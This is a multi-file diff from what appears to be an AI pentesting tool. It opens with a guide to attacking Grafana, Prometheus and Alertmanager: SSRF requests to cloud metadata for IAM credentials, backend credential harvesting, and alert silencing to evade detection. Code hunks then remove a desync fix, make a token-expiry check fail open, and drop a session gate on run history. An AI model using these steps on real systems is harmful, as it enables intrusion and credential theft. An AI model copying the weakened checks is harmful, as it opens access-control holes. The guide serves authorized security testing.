Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
|
||||
|
||||
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
|
||||
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
|
||||
|
||||
## Pivoting: Observability → Deeper Compromise
|
||||
|
||||
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
|
||||
|
||||
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
|
||||
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
|
||||
```
|
||||
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
|
||||
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
|
||||
"url":"http://169.254.169.254"} # returns the new <id>
|
||||
# Step 2: relay through THAT data source's id (path appended to its base URL):
|
||||
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
|
||||
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
|
||||
# → /computeMetadata/v1/instance/service-accounts/default/token
|
||||
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
|
||||
```
|
||||
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
|
||||
|
||||
### 2. Grafana admin → harvest every backend credential
|
||||
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
|
||||
```
|
||||
GET /api/datasources # host, port, db, user for 5–15 backends
|
||||
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
|
||||
```
|
||||
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
|
||||
|
||||
### 3. Prometheus config/targets → leaked scrape credentials + inventory
|
||||
```
|
||||
GET /api/v1/status/config # loaded prometheus.yml
|
||||
GET /api/v1/targets # every scrape target + discovery metadata labels
|
||||
```
|
||||
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
|
||||
|
||||
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
|
||||
Metrics are a recon goldmine. Query without auth:
|
||||
```
|
||||
GET /api/v1/query?query=up # every monitored service (host:port)
|
||||
GET /api/v1/query?query=node_uname_info # kernel/OS/host
|
||||
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
|
||||
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
|
||||
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
|
||||
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
|
||||
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
|
||||
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
|
||||
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
|
||||
```
|
||||
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
|
||||
|
||||
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
|
||||
```
|
||||
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
|
||||
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
|
||||
```
|
||||
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
|
||||
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
|
||||
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
|
||||
|
||||
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
|
||||
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
|
||||
2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
|
||||
3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
|
||||
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
|
||||
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
|
||||
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
|
||||
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
|
||||
|
||||
## Validation
|
||||
|
||||
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
|
||||
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
|
||||
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
|
||||
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
|
||||
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
|
||||
|
||||
## False Positives / Down-rate
|
||||
|
||||
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
|
||||
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
|
||||
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
|
||||
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
|
||||
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
|
||||
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
|
||||
|
||||
## Impact
|
||||
|
||||
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
|
||||
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
|
||||
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
|
||||
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
|
||||
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
|
||||
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
|
||||
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
|
||||
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
|
||||
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
|
||||
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
|
||||
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
|
||||
|
||||
## Summary
|
||||
|
||||
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
|
||||
@@ -167,9 +167,6 @@ async def get_request_with_client(
|
||||
return await client.request.get(request_id, opts)
|
||||
|
||||
|
||||
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
|
||||
|
||||
|
||||
def build_raw_request(
|
||||
*,
|
||||
method: str,
|
||||
@@ -190,16 +187,7 @@ def build_raw_request(
|
||||
final_headers = {**headers}
|
||||
final_headers.setdefault("Host", parsed.netloc)
|
||||
final_headers.setdefault("User-Agent", "strix")
|
||||
# Framing headers inherited from the captured request describe the ORIGINAL
|
||||
# body; once the body is modified for replay they are stale. We always send a
|
||||
# plain (non-chunked) body with an explicit Content-Length, so drop any
|
||||
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
|
||||
# recompute the length from the body actually being sent. This keeps the two
|
||||
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
|
||||
# Transfer-Encoding would make the target ignore Content-Length and try to
|
||||
# parse the body as chunked), so the replay is never desynced.
|
||||
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
|
||||
if body:
|
||||
if body and "Content-Length" not in {k.title() for k in final_headers}:
|
||||
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
|
||||
|
||||
lines = [f"{method.upper()} {path} HTTP/1.1"]
|
||||
|
||||
@@ -422,30 +422,6 @@ async def create_vulnerability_report(
|
||||
"availability": "H"
|
||||
}
|
||||
|
||||
**CVSS calibration** — score the weakness you actually proved, not a
|
||||
hypothetical worst case. Most over-rating comes from these mistakes:
|
||||
|
||||
- **Don't presuppose a separate compromise.** If exploitation
|
||||
requires the attacker to already hold a victim secret (a stolen
|
||||
session cookie/token, a leaked one-time link, intercepted traffic),
|
||||
that acquisition is not free. Do not score it as
|
||||
``privileges_required:N`` with ``attack_complexity:L`` as if
|
||||
directly reachable, and do not rate a replay-of-captured-secret
|
||||
issue High/Critical unless the *same* finding demonstrates a
|
||||
concrete way to obtain that secret. Issues like a session that
|
||||
survives logout or a replayable link are session-management /
|
||||
defense-in-depth weaknesses — usually Low/Medium on their own.
|
||||
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
|
||||
``I:H`` require proof of wide or systemic read/write. A single
|
||||
user's data, a read-only information leak, or merely confirming
|
||||
that an account / domain / software version *exists* (enumeration)
|
||||
is ``C:L`` (often ``I:N``) — not ``C:H``.
|
||||
- **Model required position and interaction honestly.** An
|
||||
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
|
||||
or a required victim action is not guaranteed — reflect it in
|
||||
``attack_complexity`` / ``user_interaction`` instead of assuming the
|
||||
ideal condition always holds.
|
||||
|
||||
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
|
||||
``CWE-89``) — no name, no parenthetical. Be 100% certain; if
|
||||
unsure, use ``web_search`` to verify the ID before passing, or omit
|
||||
|
||||
+9
-39
@@ -58,25 +58,15 @@ def read_auth() -> dict[str, Any] | None:
|
||||
return data
|
||||
|
||||
|
||||
def parse_expiry(raw: object) -> datetime | None:
|
||||
"""Parse a relay ``expires_at`` value into an aware UTC datetime.
|
||||
def _expiry(record: dict[str, Any]) -> datetime | None:
|
||||
"""Parse ``verified_at`` (the relay's ``expires_at``) into an aware UTC datetime.
|
||||
|
||||
Accepts both ISO 8601 strings and epoch seconds (as a number or numeric
|
||||
string) so a valid relay expiry is not misread as missing. Returns None only
|
||||
when it is genuinely absent or unparseable; both the local gate (see
|
||||
``is_verified``) and OTP verification (see ``otp_verify``) fail closed on such
|
||||
values, matching the relay, which rejects a token with no valid expiry.
|
||||
Returns None when it is absent or unparseable, in which case expiry cannot be
|
||||
enforced locally (the relay still rejects an expired token on report send).
|
||||
"""
|
||||
if isinstance(raw, bool):
|
||||
return None
|
||||
if isinstance(raw, int | float):
|
||||
return _from_epoch(raw)
|
||||
raw = record.get("verified_at")
|
||||
if not isinstance(raw, str) or not raw:
|
||||
return None
|
||||
try:
|
||||
return _from_epoch(float(raw))
|
||||
except ValueError:
|
||||
pass
|
||||
try:
|
||||
parsed = datetime.fromisoformat(raw.replace("Z", "+00:00"))
|
||||
except ValueError:
|
||||
@@ -84,33 +74,18 @@ def parse_expiry(raw: object) -> datetime | None:
|
||||
return parsed if parsed.tzinfo else parsed.replace(tzinfo=UTC)
|
||||
|
||||
|
||||
def _expiry(record: dict[str, Any]) -> datetime | None:
|
||||
"""The stored ``verified_at`` parsed to a datetime, or None if unusable."""
|
||||
return parse_expiry(record.get("verified_at"))
|
||||
|
||||
|
||||
def _from_epoch(seconds: float) -> datetime | None:
|
||||
"""Epoch seconds → aware UTC datetime, or None if out of range."""
|
||||
try:
|
||||
return datetime.fromtimestamp(seconds, tz=UTC)
|
||||
except (OverflowError, OSError, ValueError):
|
||||
return None
|
||||
|
||||
|
||||
def is_verified() -> bool:
|
||||
"""True when a usable email + token record with a valid future expiry exists.
|
||||
"""True when a usable, unexpired email + token record exists locally.
|
||||
|
||||
The expiry returned by OTP verification is enforced here so history stops
|
||||
unlocking once the token lapses. It fails closed: a record whose expiry is
|
||||
absent, blank, or unparseable requires re-verification rather than unlocking
|
||||
forever, keeping the local gate in step with the relay (which rejects an
|
||||
expired token on report send).
|
||||
unlocking once the token lapses, keeping the local gate in step with the
|
||||
relay (which rejects an expired token on report send).
|
||||
"""
|
||||
record = read_auth()
|
||||
if record is None:
|
||||
return False
|
||||
expiry = _expiry(record)
|
||||
return expiry is not None and expiry > datetime.now(UTC)
|
||||
return expiry is None or expiry > datetime.now(UTC)
|
||||
|
||||
|
||||
def write_auth(email: str, token: str, verified_at: str) -> None:
|
||||
@@ -196,11 +171,6 @@ def otp_verify(email: str, code: str) -> dict[str, Any]:
|
||||
timeout=_OTP_TIMEOUT,
|
||||
)
|
||||
if status == 200 and isinstance(data.get("token"), str):
|
||||
# A token with no usable expiry cannot unlock history locally (the gate
|
||||
# fails closed), so treat such a response as a failed verification rather
|
||||
# than reporting success and then leaving the user stuck unverified.
|
||||
if parse_expiry(data.get("expires_at")) is None:
|
||||
raise RelayError("unavailable")
|
||||
return data
|
||||
if status == 403:
|
||||
raise RelayError("invalid_code")
|
||||
|
||||
+2
-5
@@ -58,7 +58,7 @@ def run_view(argv: list[str]) -> None:
|
||||
if not bundle_is_built():
|
||||
console.print(
|
||||
"[bold red]Viewer UI is not built.[/]\n"
|
||||
"Build it with: [cyan]cd strix/viewer/frontend && npm ci && npm run build[/]"
|
||||
"Build it with: [cyan]cd strix/viewer_src && npm ci && npm run build[/]"
|
||||
)
|
||||
raise SystemExit(1)
|
||||
|
||||
@@ -85,10 +85,7 @@ def run_view(argv: list[str]) -> None:
|
||||
|
||||
state_label = "[#eab308]live[/]" if live else "[#22c55e]finished[/]"
|
||||
console.print()
|
||||
console.print(f"Serving [bold white]{run_name}[/] ({state_label}) at:")
|
||||
# Print the URL alone on its own line with soft_wrap so Rich never inserts a
|
||||
# wrap into the (long, tokened) link -- that keeps it selectable/copyable.
|
||||
console.print(f" [#60a5fa]{open_url}[/]", soft_wrap=True)
|
||||
console.print(f"Serving [bold white]{run_name}[/] ({state_label}) at [#60a5fa]{open_url}[/]")
|
||||
console.print("[dim]This link authorizes the browser; anyone you share it with can steer[/]")
|
||||
console.print("[dim]a live scan and browse history. Press Ctrl-C to stop the viewer.[/]")
|
||||
console.print()
|
||||
|
||||
@@ -1,200 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { ChevronDown, ChevronUp, Info } from "lucide-react";
|
||||
import { formatNumber } from "@/lib/display-number";
|
||||
|
||||
/**
|
||||
* "Run details" card for the Overview tab: the launch configuration the run was
|
||||
* started with (targets, instruction, scope, mode) and its LLM usage + cost.
|
||||
* Everything is read defensively from the raw run.json record, which may be
|
||||
* partial while a scan is still live.
|
||||
*/
|
||||
|
||||
type Rec = Record<string, unknown>;
|
||||
|
||||
function rec(v: unknown): Rec {
|
||||
return v && typeof v === "object" && !Array.isArray(v) ? (v as Rec) : {};
|
||||
}
|
||||
function arr(v: unknown): unknown[] {
|
||||
return Array.isArray(v) ? v : [];
|
||||
}
|
||||
function str(v: unknown): string | null {
|
||||
return typeof v === "string" && v.trim() ? v : null;
|
||||
}
|
||||
function num(v: unknown): number | null {
|
||||
return typeof v === "number" && Number.isFinite(v) ? v : null;
|
||||
}
|
||||
function humanize(s: string): string {
|
||||
return s.replace(/_/g, " ");
|
||||
}
|
||||
function cap(s: string | null): string | null {
|
||||
return s ? s.charAt(0).toUpperCase() + s.slice(1) : s;
|
||||
}
|
||||
function fmtDuration(seconds: number | null): string {
|
||||
if (seconds == null || seconds < 0) return "n/a";
|
||||
const h = Math.floor(seconds / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
const s = seconds % 60;
|
||||
if (h) return `${h}h ${m}m ${s}s`;
|
||||
if (m) return `${m}m ${s}s`;
|
||||
return `${s}s`;
|
||||
}
|
||||
|
||||
function Field({ label, children }: { label: string; children: React.ReactNode }) {
|
||||
return (
|
||||
<div className="grid grid-cols-[7rem_1fr] gap-3 items-baseline">
|
||||
<dt className="text-[11px] uppercase tracking-wide text-[#666]">{label}</dt>
|
||||
<dd className="min-w-0 break-words text-sm text-[#ddd]">{children}</dd>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function RunDetails({
|
||||
raw,
|
||||
durationSeconds,
|
||||
}: {
|
||||
raw: Rec;
|
||||
durationSeconds: number | null;
|
||||
}) {
|
||||
const [open, setOpen] = useState(true);
|
||||
|
||||
// Configuration (launch inputs)
|
||||
const targets = arr(raw.targets_info).map((t) => {
|
||||
const o = rec(t);
|
||||
const display = str(o.original) ?? str(rec(o.details).target_url) ?? "unknown target";
|
||||
const type = str(o.type);
|
||||
return { display, type: type ? humanize(type) : null };
|
||||
});
|
||||
const instruction = str(raw.instruction);
|
||||
const scanMode = cap(str(raw.scan_mode));
|
||||
const scopeMode = str(raw.scope_mode);
|
||||
const diff = rec(raw.diff_scope);
|
||||
const diffActive = diff.active === true;
|
||||
const diffMode = str(diff.mode);
|
||||
const diffBase = str(raw.diff_base);
|
||||
const nonInteractive = raw.non_interactive === true;
|
||||
const localSources = arr(raw.local_sources).map((x) => String(x)).filter(Boolean);
|
||||
const status = cap(str(raw.status));
|
||||
|
||||
let scope = scopeMode ?? "auto";
|
||||
if (diffActive) {
|
||||
scope += ` (diff${diffMode ? `: ${diffMode}` : ""}${diffBase ? ` vs ${diffBase}` : ""})`;
|
||||
}
|
||||
|
||||
// Usage & cost
|
||||
const usage = rec(raw.llm_usage);
|
||||
const hasUsage = Object.keys(usage).length > 0;
|
||||
const agents = arr(usage.agents).map(rec);
|
||||
const models = Array.from(
|
||||
new Set(agents.map((a) => str(a.model)).filter((m): m is string => !!m))
|
||||
);
|
||||
const requests = num(usage.requests);
|
||||
const inputTokens = num(usage.input_tokens);
|
||||
const cached = num(rec(arr(usage.input_tokens_details)[0]).cached_tokens);
|
||||
const outputTokens = num(usage.output_tokens);
|
||||
const reasoning = num(rec(arr(usage.output_tokens_details)[0]).reasoning_tokens);
|
||||
const totalTokens = num(usage.total_tokens);
|
||||
const cost = num(usage.cost);
|
||||
|
||||
const sub = (n: number, word: string) => (
|
||||
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setOpen((v) => !v)}
|
||||
aria-expanded={open}
|
||||
className="flex w-full cursor-pointer items-center gap-2 text-left"
|
||||
>
|
||||
<Info className="h-4 w-4 text-[#888]" aria-hidden="true" />
|
||||
<h2 className="text-sm font-semibold text-white">Run details</h2>
|
||||
{open ? (
|
||||
<ChevronUp className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
|
||||
) : (
|
||||
<ChevronDown className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
|
||||
)}
|
||||
</button>
|
||||
|
||||
{open && (
|
||||
<div className="mt-4 grid grid-cols-1 gap-x-8 gap-y-6 md:grid-cols-2">
|
||||
<section>
|
||||
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
|
||||
Configuration
|
||||
</h3>
|
||||
<dl className="space-y-2.5">
|
||||
{targets.length > 0 && (
|
||||
<Field label="Targets">
|
||||
<div className="space-y-1">
|
||||
{targets.map((t, i) => (
|
||||
<div key={i} className="flex flex-wrap items-center gap-2">
|
||||
<span className="font-mono text-[#ddd]">{t.display}</span>
|
||||
{t.type && (
|
||||
<span className="rounded-full border border-[#2a2a2a] px-1.5 py-0.5 text-[10px] text-[#888]">
|
||||
{t.type}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</Field>
|
||||
)}
|
||||
<Field label="Instruction">
|
||||
{instruction ? (
|
||||
<span className="whitespace-pre-wrap">{instruction}</span>
|
||||
) : (
|
||||
<span className="text-[#666]">None</span>
|
||||
)}
|
||||
</Field>
|
||||
{scanMode && <Field label="Scan mode">{scanMode}</Field>}
|
||||
<Field label="Scope">{scope}</Field>
|
||||
<Field label="Mode">{nonInteractive ? "Non-interactive" : "Interactive"}</Field>
|
||||
{localSources.length > 0 && (
|
||||
<Field label="Local sources">
|
||||
<div className="space-y-0.5 font-mono text-[#ddd]">
|
||||
{localSources.map((s, i) => (
|
||||
<div key={i}>{s}</div>
|
||||
))}
|
||||
</div>
|
||||
</Field>
|
||||
)}
|
||||
{status && <Field label="Status">{status}</Field>}
|
||||
</dl>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
|
||||
Usage & cost
|
||||
</h3>
|
||||
{hasUsage ? (
|
||||
<dl className="space-y-2.5 tabular-nums">
|
||||
<Field label="Model">{models.length ? models.join(", ") : "n/a"}</Field>
|
||||
<Field label="Run time">{fmtDuration(durationSeconds)}</Field>
|
||||
{requests != null && <Field label="Requests">{formatNumber(requests)}</Field>}
|
||||
{inputTokens != null && (
|
||||
<Field label="Input tokens">
|
||||
{formatNumber(inputTokens)}
|
||||
{cached != null && sub(cached, "cached")}
|
||||
</Field>
|
||||
)}
|
||||
{outputTokens != null && (
|
||||
<Field label="Output tokens">
|
||||
{formatNumber(outputTokens)}
|
||||
{reasoning != null && sub(reasoning, "reasoning")}
|
||||
</Field>
|
||||
)}
|
||||
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
|
||||
{cost != null && <Field label="Cost">${cost.toFixed(2)}</Field>}
|
||||
{agents.length > 0 && <Field label="Agents">{formatNumber(agents.length)}</Field>}
|
||||
</dl>
|
||||
) : (
|
||||
<p className="text-sm text-[#666]">Not available yet.</p>
|
||||
)}
|
||||
</section>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default RunDetails;
|
||||
@@ -1,51 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { ShieldCheck, X } from "lucide-react";
|
||||
|
||||
const DISMISS_KEY = "strix_viewer_trust_dismissed";
|
||||
|
||||
/**
|
||||
* One-time privacy notice, shown as a toast pinned over the sidebar. Dismissing
|
||||
* it persists to localStorage so it never returns on reload or view changes.
|
||||
*/
|
||||
export function TrustToast({ message }: { message: string }) {
|
||||
const [dismissed, setDismissed] = useState<boolean>(() => {
|
||||
try {
|
||||
return localStorage.getItem(DISMISS_KEY) === "1";
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
if (dismissed) return null;
|
||||
|
||||
const dismiss = () => {
|
||||
try {
|
||||
localStorage.setItem(DISMISS_KEY, "1");
|
||||
} catch {
|
||||
/* non-fatal: worst case the toast shows again next session */
|
||||
}
|
||||
setDismissed(true);
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
className="fixed bottom-3 left-3 z-[60] max-w-xs rounded-lg bg-[#0a0a0a] p-3 shadow-2xl"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
role="status"
|
||||
>
|
||||
<div className="flex gap-2.5">
|
||||
<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
|
||||
<p className="text-xs leading-relaxed text-[#aaa]">{message}</p>
|
||||
<button
|
||||
onClick={dismiss}
|
||||
aria-label="Dismiss"
|
||||
className="-mr-0.5 -mt-0.5 flex-shrink-0 cursor-pointer rounded p-0.5 text-[#666] transition-colors hover:text-white"
|
||||
>
|
||||
<X className="h-3.5 w-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default TrustToast;
|
||||
+21
-58
@@ -47,7 +47,7 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
def bundle_dir() -> Path:
|
||||
"""Directory holding the committed, prebuilt SPA (index.html + assets)."""
|
||||
return Path(__file__).resolve().parent / "static"
|
||||
return Path(__file__).resolve().parent / "viewer_dist"
|
||||
|
||||
|
||||
def bundle_is_built() -> bool:
|
||||
@@ -222,14 +222,10 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
self.end_headers()
|
||||
|
||||
def _handle_api(self, path: str, query: dict[str, list[str]]) -> None:
|
||||
# The launched run is always viewable with no verification. The
|
||||
# cross-run history list (/api/runs) unlocks its entries only for a
|
||||
# caller that holds this process's session capability *and* is email
|
||||
# verified, so merely reaching an exposed --host port never leaks the
|
||||
# run list (the payload still advertises the count as a teaser).
|
||||
# The launched run is always viewable with no verification. Only the
|
||||
# cross-run history list (/api/runs) is gated.
|
||||
if path == "/api/runs":
|
||||
unlocked = self._has_session() and auth.is_verified()
|
||||
payload = build_runs_payload(state.base_dir, verified=unlocked)
|
||||
payload = build_runs_payload(state.base_dir, verified=auth.is_verified())
|
||||
self._send_json(HTTPStatus.OK, payload)
|
||||
return
|
||||
if path == "/api/capabilities":
|
||||
@@ -238,7 +234,17 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
self._send_json(HTTPStatus.OK, {"can_steer": state.steer_handler is not None})
|
||||
return
|
||||
if path == "/api/auth/status":
|
||||
self._handle_auth_status()
|
||||
# Report verification through is_verified() so an expired record
|
||||
# is advertised as unverified -- otherwise the SPA would suppress
|
||||
# re-verification while history stays locked, stranding the user.
|
||||
record = auth.read_auth()
|
||||
self._send_json(
|
||||
HTTPStatus.OK,
|
||||
{
|
||||
"verified": auth.is_verified(),
|
||||
"email": record.get("email") if record else None,
|
||||
},
|
||||
)
|
||||
return
|
||||
|
||||
run_values = query.get("run")
|
||||
@@ -249,17 +255,12 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
return
|
||||
|
||||
# The launched run is always viewable. Any *other* run's data is part
|
||||
# of the gated history: it needs this process's session capability
|
||||
# (so merely reaching an exposed --host port is not enough) *and*
|
||||
# email verification -- otherwise knowing a run name would leak its
|
||||
# of the gated history, so it requires the same email verification as
|
||||
# the /api/runs list — otherwise knowing a run name would leak its
|
||||
# metadata, vulnerabilities, report, and transcript.
|
||||
if run_dir.resolve() != state.run_dir.resolve():
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
if not auth.is_verified():
|
||||
self._send_json(HTTPStatus.UNAUTHORIZED, {"error": "unverified"})
|
||||
return
|
||||
if run_dir.resolve() != state.run_dir.resolve() and not auth.is_verified():
|
||||
self._send_json(HTTPStatus.UNAUTHORIZED, {"error": "unverified"})
|
||||
return
|
||||
|
||||
if path == "/api/run":
|
||||
self._send_json(HTTPStatus.OK, read_run_summary(run_dir))
|
||||
@@ -272,29 +273,7 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
else:
|
||||
